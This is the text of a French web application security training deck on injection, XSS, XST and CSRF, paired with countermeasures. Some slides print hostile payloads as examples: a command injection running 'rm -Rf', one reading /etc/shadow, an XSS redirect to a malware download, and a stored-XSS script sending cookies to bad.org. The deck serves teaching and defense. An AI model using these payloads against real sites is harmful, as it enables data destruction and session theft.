SlideShare une entreprise Scribd logo
1  sur  211
Télécharger pour lire hors ligne
LOGO

Sécurité des Applications WEB
niveau 1

Attaques Cybernétiques
Tarek MOHAMED
CEH,CHFI,ESCP
Tarekmed.rachdi@gmail.com
Plan
I.

Introduction




II.

Statistiques et évolution des failles liées au Web selon CENZIC, GARTNER, Zone-H et OWASP.
Evolution des attaques applicatives.
Qui sont les hackers ?

Les technologies web






III.

Architecture d’une application WEB.
le protocole http.
Mythes et réalités de sécurité web.
L’application web la porte la plus facile pour les hackers.
Les WebShells.

Les technologies web






Terminologies essentielles.
Les attaques en injection (SQL Injection /command Injection/OS injection/Xpath injection/….)
Les attauques Cross site scripting/Cross-Site Request Forgery/.
Les attaques sur les sessions (Cache Poisoning/Hijacking/ Mauvaise gestion des sessions et de
l’authentification….)
Les vulnérabilités d’authentification et l’autorisation (Brute force/ insuffisance d’authentification
/ insuffisance d’autorisation/ Escalation de privilège/ Référence directe non sécurisée à un objet
…..)
Plan








La manipulation des fichiers (Remote File Include /Remote File upload/Path
Manipulation/Directory traversal/Directory indexing….)
Les attaques logiques (denie de service/Abus de fonctionnalité/ insuffisance anti-automation…).
Attaques sur la configuration standard (Mauvaise configuration/configuration par défaut/mot de
passe par défaut..)
L’attaque de Phishing.
Les attaques réseaux (DOS/DDOS/DNS cache poisonning)
Travaux pratiques : Manipulation et simulations de dizaines d’attaques web.

IV.

Les Bonnes pratiques du développement sécurisé et d’administration de
plate forme d’hébergement.






Bonnes pratiques de développement sécurisé.
Bonnes pour l’administration des sites web.
Bonnes pratiques pour la sécurité des plateformes web.
Travaux pratiques : correction des vulnérabilités.
Introduction
Introduction
 Au cours du processus de développement, la majorité se concentre sur
l’enrichissement des fonctionnalités, sur l’accélération du processus de
développement et sur la réduction des coûts, tout en négligeant les mauvaises
conséquences de ce rythme de développement sur la sécurité du produit.
 Les attaquants prennent le dessus et trouvent de plus en plus de succès en
exploitant les failles et les trous laissés par les développeurs.
 Risques les plus connus dans les applications Web :
•
•
•
•
•
•

SQL Injection,
Cross Site Scripting,
La manipulation de variables,
L’exploitation des mauvaises configurations ,
L’exploitation de certaines sections comme «J’ai oublié mon mot de passe»,
La mauvaise interprétation d’URL.
Introduction: statistiques

Source : Zone-H
Introduction: statistiques
Année 2011

Source : Zone-H
Introduction: statistiques
Novembre 2011

Source : Zone-H
Introduction: Evolution des attaques applicatives

Fonctionnalité

Sécurité

Facilité d'utilisation
Introduction: Evolution des attaques applicatives
% Attaques

% Dépenses

Application Web

10 %

75 %

90 %

25 %

Eléments Réseaux

Etude du GARTNER 2003
75% des attaques ciblent le niveau Applicatif
66% des applications web sont vulnérables

Etude du SANS (septembre 2009)
http://www.sans.org/top-cyber-security-risks/
Introduction: Evolution des attaques applicatives

3 sur 4 sites web d’affaire
sont vulnérables à des
attaques
Introduction: Evolution des attaques applicatives

Source : Rapport Cenzic – 1er semestre 2009
Introduction: Qui sont les hackers ?

Black Hats :créateurs de virus, cyberespions, cyber-terroristes ou cyber-escrocs,
agissant la plupart du temps hors-la-loi dans
le but soit de nuire, de faire du profit ou
d'obtenir des informations. (crackers)

White Hats :professionnels de la
sécurité informatique effectuant des
tests d'intrusions en accord avec leurs
clients et la législation en vigueur afin
de qualifier le niveau de sécurité de
systèmes.(security analysts)

Gray Hats :Les personnes qui

Suicide Hackers :Les

travaillent à la fois offensive et
défensive à des différentes reprises

personnes qui auront pour but de
faire désactiver les infrastructures
essentielles pour une «cause» et ne
pas s'inquiéter face à 30 ans de
prison pour leurs actions
Introduction: Hacktivisme
• hacktivisme est un acte de promotion d’une agenda par le
piratage qui se manifeste spécialement par le defacement ou la
désactivation des sites web.
• Comprend les pirates avec un programme social ou politique.
• Pirater des sites pour faire passer un message.
• Certains sites agissant fortement à la manière de script kiddies,
s'auto-proclament hacktivistes sans aucun fondement.
Les technologies web
Architecture Web

Serveur WEB
•Microsoft IIS
•Apache
•…

APPLICATION WEB

BD

•ASP
•Java
•PHP
•JSP
•Perl
•CGI
•…

•SQL Server
•Oracle
•MySql
•Postgres
•…

•ADO
•ODBC
•…
Le protocole HTTP

Requête

http://www.le-site.com/

GET /index.html HTTP/1.0
Host : www.le-site.com

HTTP/1.1 200 OK
Server: Netscape-Enterprise/6.0
Date: Sun, 9 Fev 2006 10:46:17 GMT
Content-length: 324
Content-type: text/html
Last-modified: Tue, 14
Dec 2005 16:38:08 GMT
Connection: close
<blank line>
<html> <head></head>
<body>
Bienvenu dans le Site.
</body>
</html>
Le protocole HTTP
Les Méthodes HTTP
GET
Renvoie le contenu du document
indiqué, peut placer des paramètres
dans l’entête de la requête

POST
Demande un document comme GET, peut
traiter le document comme s’il était un script
et lui envoi des données, peut placer des
paramètres

TRACE
Cette méthode demande au serveur de
retourner ce qu'il a reçu, dans le but de
tester et effectuer un diagnostic sur la
connexion.

PUT
Inscrit des données dans le
contenu du document

CONNECT
Demande une connexion au serveur relais
pour établir une communication via un
tunnel (exemple SSL)

HEAD
Retourne l’information de l’entête du
document (Taille de fichier, date de
modification, version du serveur)

OPTIONS
Demandes des informations sur les
options disponibles sur communication

DELETE
Efface le document indiqué
Le protocole HTTP
Les réponses HTTP
Code de réponse donné par le serveur au client:
-100-199 Informationnel
100 : Continue (le client peut envoyer la suite de la requête), ...

-200-299 Succès de la requête client
200: OK, 201: Created, 204 : No Content, ...
-300-399 Redirection de la Requête client
301: Redirection, 302: Found, 304: Not Modified, 305 : Use Proxy, ...
-400-499 Requête client incomplète
400: Bad Request, 401: Unauthorized, 403: Forbidden, 404: Not Found

-500-599 Erreur Serveur
500: Server Error, 501: Not Implemented,
502: Bad Gateway, 503: Out Of Resources (Service Unavailable)
Le protocole HTTP

Requête

http://www.le-site.com/client/login.php?login=acheteur&password=pass2006
http:// www.le-site.com/client/

Serveur
Web

•Microsoft IIS
•Apache
•…

login.php?

login=acheteur&password=pass2006

DB

Application Web

•ASP
•Java
•PHP
•JSP
•Perl
•CGI
•…

•ADO
•ODBC
•…

•SQL Server
•Oracle
•MySql
•Postgres
•…
Le protocole HTTP
Les types de paramètres:
 Variables GET: Elles sont données dans l’URL de
demande
 Variables POST: Fournies par un formulaire.
 Variables Cookies: Variables conservées par le
navigateur sur son disque dur et généralement
fournies par le serveur.
Le protocole HTTP
Les variables GET
 Décrites dans l’URL
 http ://www.google.com/search ?p=html&hl=fr
 Ici 2 variables p et hl, avec les valeurs html et
fr.
 Généralement provenant d’une interrogation
directe
 Dans le cas présent, plutôt rare, il s’agit
d’envoi par formulaire(method=GET)
Le protocole HTTP
 Les variables POST
 Remplies par un formulaire
 Utilisées quand on a un grand volume de donn´ees `a
envoyer
 Utilisées quand on a un grand nombre de variables
 Non tracées par les journaux des daemons (hormis
modules spécifiques)
 Traitement particulier des variables Hidden qui sont
cachées
 pour l’utilisateur, mais pas pour le navigateur.
Le protocole HTTP
 Les variables cookies:
 Notion de valise de variables stockées sur le client
 Transmises de manière transparente dans la requête
 C’est le serveur qui est sens´e positionner ces
variables pour une durée limitée
 Un serveur ne peut généralement (sauf faille de
sécurité) demander a accéder qu’aux variables :
• Qu’il a lui-même positionnées
• Qu’une machine de son domaine a positionnées (et si celle-ci l’a
autorise)
• Qu’une machine d’un domaine de confiance a positionnées (si
celle-ci l’a autorisé)
Mythes et réalités de sécurité web.
 Mythe N°1 « Sans demande particulière, le développeur
me fournira une solution sécurisée »

 Sans des précautions particulières ne sont pas prises, l’application
web n’est pas sécurisé.
 Il est fort probable que des vulnérabilités existent dans l’application
web et qu’elles puissent impacter la confidentialité, l’intégrité ou la
disponibilité de l’application et des données traitées.
 Ce qui est vrai pour tout type d’application l’est encore plus pour une
technologie à l’origine conçue pour permettre un accès totalement
libre aux informations, et donc où les mécanismes d’authentification,
de gestion de session et de contrôle d’accès ne sont pas natifs.
 Le donneur d’ordre doit donc faire en sorte que les bonnes pratiques
de sécurité soient comprises et appliquées par le maître d’œuvre, puis
se doter des moyens de contrôler le niveau de sécurité de
l’application
Mythes et réalités de sécurité web.
 Mythe N°2 « Seuls des génies de l’informatique savent
exploiter les failles des applications Web »
 Les failles de sécurité au sein des applications Web sont le plus souvent
faciles à exploiter. Un attaquant n’a souvent besoin que d’un simple
navigateur Web pour identifier et exploiter des failles de sécurité.
 Des outils complémentaires, comme des logiciels de proxy locaux, capables
d’intercepter les requêtes entre le navigateur et le serveur Web sont
disponibles gratuitement sur Internet.
 Les technologies Web reposent en outre sur un ensemble de protocoles,
langages, et architectures ouverts, dont les spécifications sont librement
accessibles.
 N’importe qui peut donc étudier ces référentiels et les flux échangés entre
l’application Web et le client, pour identifier des failles d’implémentation ou
de conception.
Mythes et réalités de sécurité web.
 Mythe N°3 « Mon site Web est sécurisé puisqu’il est
protégé par SSL »
 La technologie SSL a été conçue pour éviter que des données sensibles,
comme des données de paiement, soient transmises « en clair » sur Internet,
et les sites commerciaux arborent aujourd’hui tous un logo « site sécurisé par
un certificat SSL ».
 Lors de l’explosion du e- commerce, les medias ont expliqué qu’un
internaute ne devait se considérer sur un site de confiance que si le fameux
cadenas s’affichait dans la barre d’état du navigateur Web.
 La dérive vers le mythe du « Mon site est sécurisé puisque il est protégé par
SSL » s’explique donc facilement.
 SSL est un mécanisme de sécurité nécessaire pour protéger la confidentialité
et l’intégrité des données échangées entre le client et le serveur,
 il n’est pas suffisant pour protéger totalement l’application Web, notamment
des attaques contenues dans le flux Web envoyé par le client au serveur, qui
passent donc dans le tuyau « SSL ».
Mythes et réalités de sécurité web.
 Mythe N°4 : « Je suis protégé contre les attaques, j’ai un
firewall »
 Un firewall efficace dans la plupart des cas pour empêcher des accès non
autorisés à l’infrastructure hébergeant les applications Web, comme les
services réseau des systèmes d’exploitation ou des bases de données, et sont
donc nécessaires.
 Malheureusement, ils sont insuffisants pour assurer la sécurité d’une
application web, car les failles applicatives sont exploitées via des canaux de
communication normaux et nécessaires au bon fonctionnement de
l’application, et donc autorisés par le pare- feu.
L’application web la porte la plus facile pour les hackers

Problème essentiel ses dernières années: applicatif
-90% des tests intrusifs : applicatif
-≃ 100% des cas : présence de vulnérabilités exploitables
Pourquoi ?
Domaine en forte évolution (Web 2.0, Web Services ...)
Trop peu de sensibilisation des développeurs à la sécurité
Traitement des aspects sécurité trop tardif
Manque de temps et de budget
⇒ Mise en production avec des vulnérabilités exploitables.
L’application web la porte la plus facile pour les hackers

Classiques: atteinte à l'image de la cible

-Défiguration du site web
-Récupération et diffusion d'informations client.
⇒ Exploitations itératives des vulnérabilités.
Plus vicieux: serveur web = serveur rebond

-Prise de contrôle du serveur web
-Rebond sur des équipements internes ou tierces
⇒ Déploiement de nouvelles applications: webshells
Webshell ?
 Le WebShell est une porte ouverte dans une application ou serveur
web.
 Simple script PHP, ASP, JSP,PERL etc.
 Accessible via une URL à partir d’un navigateur web.
 Exécutant des actions systèmes sous l'identité du serveur web.
 Permettant le rebond en interne ou vers des sites tiers à travers HTTP.
 Exécution de commandes systèmes sur le serveur web.
 Permet de prendre un contrôle totale sur un serveur.
Webshell ?
Impacts:
 Défiguration du site web.
 Récupération et diffusion d'informations client.
 Vol de session utilisateurs.
 Prise de contrôle totale du serveur web.
 Rebond sur des équipements internes ou tierces.

 Déploiement de portes dérobées: webshells.
Webshell ?

Base des
données

Spam

Firewall
Serveur
d’applications
Webshell
HTTP

80

Routeur/commutateu
r
Webshell ?
 Vulnérabilités dans les socles applicatifs (CMS).
 Mauvais filtrages des entrées utilisateurs (injection SQL, XSS/CSRF)
 Mauvais filtrage des extensions de fichiers pour les uploads
 Inclusion de fichiers (File include).
 Compromission d'une interface d'administration (Brute force,mot de
passe banale).
 Une fois le Shell est déployé, on peut exécuter de commandes
systèmes, prise de contrôle totale.
Webshell ?
 Vulnérabilités dans les socles applicatifs (CMS).
 Mauvais filtrages des entrées utilisateurs (injection SQL, XSS/CSRF)
 Mauvais filtrage des extensions de fichiers pour les uploads
 Inclusion de fichiers (File include).
 Compromission d'une interface d'administration (Brute force,mot de
passe banale).
 Une fois le Shell est déployé, on peut exécuter de commandes
systèmes, prise de contrôle totale.
Webshell ?
 Les attaques applicatives sont bien réelles:
• Parfois facile à mettre en œuvre.
• Outils existants (C99, R57 ...)
 Les attaques ne proviennent pas toujours de l'extérieur:
• Les serveurs web peuvent être atteints depuis l'interne
• Les attaquants ne sont pas toujours ceux que l'on croit
(MACARON)
Les attaques web
Terminologies essentielles
Menace-Une action ou un événement qui pourrait compromettre la
sécurité. Une menace est une violation potentielle de la sécurité
Vulnérabilité - ou faille est l’existence une faiblesse dans un système
informatique au niveau de la code source ou la conception, permettant à
un attaquant de porter atteinte à l'intégrité de ce système
Exploit –Un exploit est un programme qui permet d'exploiter une
vulnérabilité de sécurité dans un système d'exploitation ou un logiciel, il est
employé par les hackers afin de prendre le contrôle total ou partiel d'un
ordinateur.
Attaque - Un assaut sur la sécurité du système qui dérive d'une menace
intelligente. Une attaque est une action qui viole la sécurité.

Script kiddie - passent l'essentiel de leur temps à essayer d'infiltrer des
systèmes, en utilisant des scripts ou programmes mis au point par d'autres.
Les attaques web
Injection
Injection
L’injection

•Envoyer à une application des données générant un comportement non
attendu.
Les Interpréteurs
•Utilisent les chaines et les interpretent comme des commandes
•SQL, OS Shell, LDAP, XPath, etc…
L’injection SQL est toujours commune
•Enormément d’applications y sont sensibles
•Même s’il est très simple de s’en affranchir….
Impact
•Souvent très sévère. Le plupart du temps l’ensemble des données de la base
sont lisibles ou modifiables.
•Cela peut même aller jusqu’au schéma de la base, les comptes ou un accès
OS….
SQL Injection
 technique qui permet aux attaquants d’injecter des
requêtes SQL directement sur la base de données qui se trouve
derrière un serveur Web, en manipulant l’entrée « INPUT » à une
application.

Exemple : sur une page d’authentification « login.asp », l’utilisateur est
amené à saisir un Nom d’utilisateur « User1 » et un mot de passe «
pass2012 », cette opération se traduit sous forme d’un requête SQL :

SELECT * FROM Utilisateur WHERE nom= ‘User1' and
mot_passe=‘pass2012’
SQL Injection

Cette requête doit retourner à l’application un ou plusieurs
champs à partir de la base de données. Supposons que l’utilisateur
saisit la valeur du nom d’utilisateur la valeur « or 1=1-- » la
requête sera sous la forme

SELECT * FROM Utilisateur WHERE Utilisateur = or
1=1-- and mot_passe =''
SQL Injection
Dans le cas de SQL Server, « -- » est utilisé pour mettre un
commentaire jusqu’à la fin de la ligne, la requête serait alors
SELECT * FROM Utilisateur WHERE username= or 1=1
Cette requête recherche dans la base de données les champs
dont le nom d’utilisateur est vide en réponse à la condition. La
requête va retourner tous les champs de la table utilisateur et
l’attaquant serait authentifié.
L’attaquant a réussi ainsi à s’authentifier sans avoir pour autant
utilisé de nom d’utilisateur ni de mot de passe.
SQL Injection
Exemple

User:

‘ or 1=1 #

Pass:

connection.php
Admin.php
Etc…

DB
SQL Injection
Exemple
Accès
avec les
droits
de
l’administrateur
SQL INJECTION – Comment se protéger
 Recommandations
1. Se passer des interpréteurs,
2. Utiliser une interface permettant de préparer les requêtes (ex,
prepared statements, or les procédures stockées),
3. Encoder toutes les données fournies par l’utilisateur avant de les
passer à l’interpréteur
 Toujours effectuer une validation de type “white liste” sur les
données utilisateurs.
 Minimiser les privilèges dans les bases pour limiter l’impact de la
faille.
SQL INJECTION – Comment se protéger

Solution:
Il est très simple d’éviter l’SQL injection durant la phase de
développement de l’application. Il est nécessaire de vérifier tous les
champs INPUT qui seront saisis par l’utilisateur avant de construire la
requête SQL. La meilleur technique est de supprimer tous les INPUT
indésirables et de n’accepter que celles qui sont prévu. Cette opération
de vérification est plus effective lorsqu’elle se fait côté serveur. L’autre
méthode est d’éviter l’usage de requêtes dynamiques et ce en
remplaçant les requêtes par des procédures déjà stockées ou bien par la
collecte de variables à partir d’une base de données.
Il y a des fonctions implémentée selon le langage de programmation :
- Bin_param() – Perl
- CreateParameter() – ASP (ADO Command Objects )
- mysql_stmt_bin_param() – PHP
- CallableStatements et PreparedStatements -- JAVA
SQL INJECTION – Comment se protéger
 Solution: Les procédures stockées

Les procédures stockées permettent d’éviter l’SQL
Injection parce que les INPUT du côté client ne sont
plus utilisées pour créer des requêtes dynamiques.
Les procédures stockées sont des groupes
précompilés de requêtes SQL, cette procédure
accepte les INPUT sous forme de paramètres ce qui
permet d’éviter la construction de requêtes
dynamiques.
SQL INJECTION – Comment se protéger

Solution: La vérification des INPUT par des JavaScript
Ce procédé ne permet pas à l’attaquant d’entrer des données
malicieuses directement dans le champs INPUT mais ce n’est
pas suffisant pour éviter l’SQL Injection.
Le script côté client ne vérifie que les INPUT côté navigateur
ce qui ne garantit pas que les données prescrites ne seront pas
modifiées au cours du chemin vers le serveur. Il y a des outils
qui permettent de capturer les requêtes et de les changer avant
de les envoyer au serveur, l’attaquant peut aussi injecter des
instructions dans les variables de la requête, et ceci ne peut pas
être vérifié par le script côté client.
SQL INJECTION – Comment se protéger
Solution: Les servlets Java
Les servlets sont vulnérables si les champs INPUT ne sont pas
vérifiés et si la requête est construite dynamiquement. Mais les
servlets Java ont certains mécanismes pour prévenir l’SQL
Injection comme CallableStatements et PreparedStatements.

C’est comme les procédures stockées elles permettent
d’éviter les requêtes dynamiques.
Try {

Connection conn = DriverManager.getConnection("connect string");
String command_sql = "INSERT INTO tablesname VALUES(?, ?,?)";
PreparedStatement ps = conn.prepareStatement(command_sql);
ps.setString(nom, s1);
ps.setString(prenom, s2);
ps.setInt(age, s3);
ps.executeUpdate();
…
Command Injection
L'attaque injection de commandes consiste :
- A injecter et exécuter des commandes spécifiées par l'attaquant
dans l'application vulnérable.
- Toutefois, les commandes sont exécutées sur le serveur cible
et l’ attaquant ayant un accès partiel ou totale sur tout le
serveur d’hébergement.
- - l'attaquant peut ajouter son propre code pour le code existant
pour prolonge la fonctionnalité par défaut de l'application sans
la nécessité d'exécuter des commandes système.
44

Command Injection

listing.php

1

<?php
echo system("ls -1 *.".$_GET['ext']);
?>

/listing.php?ext=php;cd/;rm+-Rf+*

2

ls -1 *.

php;cd/;rm+-Rf+*

3

cnx.php
index.php
connectBase.php
listing.php

4

/
5
Command Injection
Example Language: Java
...
String ping= request.getParameter ("cmd");
java.lang.Runtime.getRuntime().exec(ping);
...

Un attaquant d'exécuter des commandes arbitraires avec des

privilèges élevés à travers l'application en injectant par exemple
dans l’entrée ping une code arbitraire par exemple « 10.10.10.10|cat
/etc/shadow » pour afficher tous les mots des passes des utilisateurs
systéme en MD5.
Injection OS

Attaquant

Site web
L'attaquant
envoie une
requête
malveillante
contenant
OScommand

Exécute
OS command

Falsification
Des fichiers
Virus

Information
Leak
Application vulnérable au
injection de commande OS

Opération
Non autorisé

Autres
Injection OS
Injection OS:

Technique utilisée pour exploiter les sites Web en
exécutant des commandes du système d'exploitation par
le biais de la manipulation de la demande d'entrée.
Exemple:
URL d’origine

http://example /cgibin/showInfo.pl?name=John&template=temp1.txt

OS Command

http://example /cgibin/showInfo.pl?name=John&template=/bin/ls|
Injection OS
Patterns vulnérables pour injection OS:

Pour définir les vulnérabilités d’injection de commande
système travers une application, il faut définir la relation entre
le code source d’une application et le système d'exploitation.
L'application utilisant les fonctions du système d'exploitation
sous-jacent.
En Java en utilisant l'objet d'exécution: java.lang.Runtime.
En NET :System.Diagnostics.Process.Start sont utilisés
pour appeler des commandes OS.
En PHP on peut chercher des appels tels que exec () ou
passthru () et c….
Injection OS
Les menaces possible:

 Voir, falsifier ou supprimer des fichiers stockés sur le serveur
• Divulgation d'informations sensibles, la falsification des
fichiers de configuration..
 Manipuler le système
• Arrêt OS, ajouter /supprimer des comptes utilisateurs
 Télécharger et exécuter des programmes malveillants
• Infection virale, ver et bot, implémentation de backdor
 Rendre le système de point de départ pour attaquer d'autres
• Déni de service, spamming,…
Injection OS
Solution:

 Évitez d'utiliser des fonctions qui pourraient appeler des
commandes shell.
 Lorsque vous utilisez des fonctions qui pourraient
appeler des commandes shell, vérifiez toutes les
paramètres d’entrées que ne contenant pas des
commandes système.
XPath Injection
XPath Injection:

XPath: langage utilisé pour traiter des fichiers XML.
XPath injection: Technique d’attaque utilisée pour exploiter des sites Web
qui construisent des requêtes XPath à partir des entrées fourni par
l'utilisateur.
Exemple:
Même principe que du SQL Injection.
XPath Injection
Exemple:
<?xml version="1.0" encoding="utf-8"?>
<Employees>
<Employee ID="1">
<FirstName>ALI</FirstName>
<LastName>saleh</LastName>
<UserName>ALI</UserName>
<Password>AliSecret</Password>
<Type>Admin</Type>
</Employee>
<Employee ID="2">
<FirstName>MED</FirstName>
<LastName>Salem</LastName>
<UserName>med</UserName>
<Password>MedSecret</Password>
<Type>User</Type>
</Employee>
</Employees>
XPath Injection
Exemple:

VB:
Dim FindUserXPath as String FindUserXPath =
"//Employee[UserName/text()='" & Request("Username") &
"' And Password/text()='" & Request("Password") & "']"

C#:
String FindUserXPath; FindUserXPath =
"//Employee[UserName/text()='" + Request("Username") +
"' And Password/text()='" + Request("Password") + "']";
XPath Injection
Exemple:

Username: blah' or 1=1 or 'a'='a
Password: blah
//Employee[UserName/text()='blah' or 1=1 or 'a'='a' And
Password/text()='blah']
Logically this is equivalent to:
//Employee[(UserName/text()='blah' or 1=1) or ('a'='a' And
Password/text()='blah')]
Cross site scripting
&
Cross-Site Request Forgery
Cross site scripting(XSS)
 Cette technique consiste a injecté du java script, VB, ActiveX,
par le bais du navigateur de l’utilisateur dans le but d’accéder
a des informations, des cookies, configuration …

 L'attaque XSS touche principalement l'utilisateur, et permet
même dans certaines cas d'exécuter des commandes aléatoires
sur la machine.
 Il n'y a pas de moyen de protection efficace côté client que de
désactiver l'exécution des scripts java, ActiveX ce qui gêne
vraiment la navigation.
Cross site scripting(XSS)
 Ces données sont peuvent être:
 Stockées en base,
 Réfléchies depuis une entrée d’une page Web (champ de
formulaire, champ caché, URL, …).
 Envoyées directement à un client Riche (Javascript, Flash, …)
 Virtuellement toute application Web est vulnérable
 Essayez cela dans votre navigateur
•
•

javascript:alert(‘’XSS’’);
javascript:alert(document.cookie);

 Impact:
 Vol des sessions utilisateur, de données sensibles…,
 redirection vers un site d’hameconnage ou autre code
malveillant.
Cross site scripting(XSS)
Scénario classique

Moteur de recherche

Tunis

Aucune page ne correspond à : Tunis

Chercher
Cross site scripting(XSS)
Scénario classique

Moteur de recherche
<script>alert(“Test")</script>">

Chercher
Cross site scripting(XSS)

Annonce:

Email :

Envoyer

Attaquant

<script>document.location=‘’http://www.
attaque.com/virus.exe</script>

Internet
attaquant@xxxxx.com

Annuler
Cross site scripting(XSS)
http://www.attaque.com/virus.exe

Internet

WWW.attaquant.com

victime
Cross site scripting(XSS)
1.EXEMPLE XSS

nom Smith<script>alert(document.cookie)</script>
mail john.smith@bad.org

Bonjour Smith
29

Cross site scripting(XSS)
1.Exemple XSS


Attaque stockée sur le serveur web


XSS envoyé par le pirate
Smith <script
src=http://bad.org/c.js>
</script>

XSS

Application
Web

nom Smith<script src=http://bad.org/c.js></script>
mail john.smith@bad.org

XSS

SGBD
30

Cross site scripting(XSS)
1.Exemple XSS


Attaque stockée sur le serveur web


XSS envoyé par le pirate



l’accès à une ressource provoque l’exécution du XSS

admin.
1 GET liste_inscrits.php

Application
Web
XSS

Smith <script src=http://bad.org/c.js></script>

Smith <script src=http://bad.org/c.js>
</script>

2

XSS

SGBD
31

Cross site scripting(XSS)
1.Exemple XSS


Attaque stockée sur le serveur web


XSS envoyé par le pirate



l’accès à une ressource provoque l’exécution du XSS

admin.

1 GET liste_inscrits.php

3

Smith <script
src=http://bad.org/c.js>
</script>

Application
Web

XSS

XSS

SGBD
2

Smith <script src=http://bad.org/c.js></script>

GET http://bad.org/c.js

bad.org
32

Cross site scripting(XSS)
1.Exemple XSS


Attaque stockée sur le serveur web


XSS envoyé par le pirate



l’accès à une ressource provoque l’exécution du XSS

Smith <script
src=http://bad.org/c.js>
</script>

admin.
1 GET liste_inscrits.php

3

Application
Web

XSS

SGBD
2

XSS

GET http://bad.org/c.js

4

document.write(‘<img src=http://bad.org/c.php?’+document.cookie+’ width=1>’)
c.js

bad.org
33

Cross site scripting(XSS)
1.Exemple XSS


Attaque stockée sur le serveur web


XSS envoyé par le pirate



l’accès à une ressource provoque l’exécution du XSS

Smith <script
src=http://bad.org/c.js>
</script>

admin.
1 GET liste_inscrits.php

5

3

Application
Web

XSS

SGBD
2

XSS

GET http://bad.org/c.js

4

document.write('<img src=http://bad.org/c.php?'+document.cookie+' width=1>')
GET http://bad.org/c.php?idsess=a2345effb9ccd78

c.js

bad.org
34



Cross site scripting(XSS)
1.Exemple XSS

Attaque stockée sur le serveur web


XSS envoyé par le pirate



l’accès à une ressource provoque l’exécution du XSS
Smith <script
src=http://bad.org/c.js>
</script>

admin.
1 GET liste_inscrits.php

5

3

Application
Web

XSS

SGBD
2

XSS

vol de session

6

idsess=a2345effb9ccd78

GET http://bad.org/c.js

4

document.write('<img src=http://bad.org/c.php?'+document.cookie+' width=1>')
GET http://bad.org/c.php?idsess=a2345effb9ccd78

c.js

bad.org
35

Cross site scripting(XSS)
2. Exemple XSS


Attaque réfléchie


1

Pirate place un XSS (mail, lien dans page web)

XSS

2

XSS
1
36

Cross site scripting(XSS)
2.Exemple XSS
Attaque réfléchie






1

Pirate place un XSS (mail, lien dans page web)
Internaute : envoie le XSS au serveur (clic sur un lien dans
mail/page, téléchargement automatique d une ressource)

XSS

XSS

XSS
2

XSS
1

2
3

3
37

Cross site scripting(XSS)
2. Exemple XSS


Attaque réfléchie


Pirate place un XSS (mail, lien dans page web)



Internaute : envoie le XSS au serveur (clic sur un lien dans
mail/page, téléchargement automatique d une ressource)



1

XSS

Serveur web : reçoit et retourne le XSS

XSS

XSS
4
2

4

XSS
1

2
3

XSS

3

XSS
38

Cross site scripting(XSS)
2. Exemple XSS


Attaque réfléchie


Pirate place un XSS (mail, lien dans page web)



Internaute : envoie le XSS au serveur (clic sur un lien dans
mail/page, téléchargement automatique d une ressource)




1

XSS

Serveur web : reçoit et retourne le XSS
Navigateur : exécute le XSS

XSS

XSS
4
2

4

XSS
1

2
3

XSS

3

XSS
Cross site scripting(XSS)
 Cross Site Tracing (XST)
Un attaquant peut contourner l’attribut « HTTP Only cookies» pour voler
les informations contenus dans les cookies via le Cross Site tracing (XST).
TRACE est une méthode HTTP qui peut être envoyée au serveur. Le
serveur renvoie au navigateur du client tout ce qu’il y avait dans la
requête TRACE.
Dans un site utilisant les cookies, l’information du cookie est envoyée au
serveur à chaque requête, si on envoie une requête TRACE dans une URL
pour un site pareil, le serveur va renvoyer toutes les informations du
cookie vers le navigateur.
Cross site scripting(XSS)
Scénario (XST):
Dans une situation similaire au cas décrit pour l’XSS, mais dans ce cas le «
HTTP Only cookies » est activé. L’attaquant construit un lien qui contient
un script qui fait appel à la méthode TRACE, quand un utilisateur clique
sur le lien, une requête TRACE avec les informations du cookies sont
envoyés au serveur. Le serveur renvoie ainsi les informations du cookie au
script dans le navigateur; supposant que ce script contient du code
malicieux qui envoie ces informations à l’attaquant. Ainsi l’attaquant a
réussi à voler les cookies quoique le « HTTP Only Cookies » soit activé.
Le « HTTP Only cookies » permet d’éviter l’accès direct aux cookies par
les attaquants mais ces derniers sont aussi capables de le chercher à travers
des méthodes indirectes.

L’XST peut être évité en désactivant la méthode TRACE sur
le serveur Web.
XSS– Contre mesures
 Recommandations
 Supprimer la faille 
•

Ne pas inclure de contenu fourni par l’utilisateur dans la page de
sortie !!!

 Défenses possibles
1. Encoder toutes les entrées et sorties utilisateurs
2. Effectuer de la validation de type « white liste » pour les données
utilisateurs entrantes qui sont inclues dans une page.
3. Pour des grosses portions de code HTML fourni par un utilisateur,
utiliser le filtre OWASP Anti-Sammy de manière à nettoyer l’HTML

(AntiSamy)
XSS– Contre mesures
Solution:

 L’XSS peut être évité dès la phase de développement de l’application. Il devrait
valider tous les INPUT et les OUTPUT vers (et en provenance de) l’application,
éliminer tous les caractères spéciaux pourrant être utilisés dans un script.
 L’XSS peut être évité si l’application remplace les caractères spéciaux par ceux
inscrit ci-dessous avant de les afficher sur le navigateur :
< &lt;
> &gt;
( &#40;
) &#41;
# &#35;
& &#38;
 Il y a des fonctions déjà disponibles suivant le langage utilisé
 HtmlEncode() – ASP
 Htmlentities() – PHP
 Taglibs ou la classe javax.swing.text.html – J2EE
 escapeHTML() – Perl
XSS– Contre mesures
Solution:
Une autre méthode permet de prévenir l’XSS avec moins de codage
comparé à la méthode de validation des INPUT et des OUTPUT, en
effet, Internet Explorer 6 possède l’attribut « HTTP Only Cookies»
qui peut être activer pour les cookies. L’utilisation de cet attribut
rend les cookies inaccessibles par n’importe quel scripts.
Cross Site Request Forgery (CSRF)
• C’est une attaque ou le navigateur de la victime génère une requête
vers une application Web vulnérable
• Cette vulnérabilité est causée par la capacité que les navigateurs ont
d’ envoyer automatiquement des données d’authentification
(session ID, IP adresse, comptes de domaine windows, ..) dans
chaque requête.

Imaginez
• Que se passerait-il si un attaquant pouvait utiliser votre souris pour
effectuer des clicks sur votre site de banque en ligne a votre place.
• Que pourrait-il faire ?

Impact
• Initiation de transactions (transfert de fonds, logoff, modification de
données, …)
• Accès à des données sensibles
• Changement des mots de passes/identifiants
CSRF

Exploite la confiance qu’un site a en un utilisateur
 Cible de l’attaque = site web
 But : modifications sur le site
 Méthodes d’attaque :



principalement GET (attaque dans l’URL)
 POST

53

Ajouter un commentaire
…
<img src='article.php?id=3&action=del'
width='0'>
…

1

membre d’un
site protégé

<img
src='article.php?id=3&action=del'
width='0'>

SGBD
54

Ajouter un commentaire
…
<img src='article.php?id=3&action=del'
width='0'>
…

SGBD

1

membre d’un
site protégé

2

<img
src='article.php?id=3&action=del'
width='0'>

GET article.php?id=3&action=read

membre d’un
site protégé
55

Ajouter un commentaire
…
<img src='article.php?id=3&action=del'
width='0'>
…

<img
src='article.php?id=3&action=del'
width='0'>

SGBD

1

